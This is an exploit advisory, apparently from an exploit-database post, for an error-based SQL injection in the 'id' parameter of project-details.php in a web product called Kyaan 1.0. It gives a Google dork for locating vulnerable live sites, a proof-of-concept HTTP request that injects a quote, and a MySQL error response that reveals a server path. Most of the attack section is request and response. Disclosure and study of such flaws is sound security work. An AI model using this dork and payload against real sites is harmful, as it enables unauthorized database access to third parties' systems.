Kyaan 1.0 SQL Injection

Exploit Title: kyaan - Multiple Vulnerabilities
    # Date: March 27, 2025
    # Exploit Author: wa0_3
    # Telegram: @wa0_3
    # Vendor Homepage: https://kyaan.co
    # Version: 1.0
    # Tested on:  Windows local xampp
    # DBMS: MySQL
    # CVE: N/A
    # Google Dork:
    inurl:project-details.php?id=
    intxt:  تصميم وبرمجة شركة كيان للحلول الإعلامية المتكاملة © 2024
    ===============================================================================================================================
    
    Vulnerability: SQLi
    Type: error-based (MySQL)
    File: project-details.php
    Parameter: id
    
    ## Proof of Concept (PoC):
    ```
    GET /project-details.php?id=19' HTTP/2
    Host: localhost
    Cookie: _gcl_au=1.1.1020665683.1743076210; _scid=oZTzVYgNL8U6P-ly3gzhJa-pv9Jsu6Ub; _ga=GA1.1.731786864.1743076210; _fbp=fb.2.1743076210060.524082259942009775; _tt_enable_cookie=1; _ttp=01JQBQ0EAGPW26SAXQ4A6TVCBS_.tt.2; _ScCbts=%5B%5D; _sctr=1%7C1743026400000; PHPSESSID=8950365753d2392f176950a445913d6c; _scid_r=sRTzVYgNL8U6P-ly3gzhJa-pv9Jsu6UbmfT-aw; _ga_NNZHC95GYC=GS1.1.1743110760.2.0.1743110760.0.0.0
    Cache-Control: max-age=0
    Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
    Sec-Ch-Ua-Mobile: ?0
    Sec-Ch-Ua-Platform: "Windows"
    Accept-Language: en-US,en;q=0.9
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate, br
    Priority: u=0, i
    ```
    
    ### Response:
    ```
    Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in /home1/qkbdhymy/public_html/header.php
    ```
    
    ===============================================================================================================================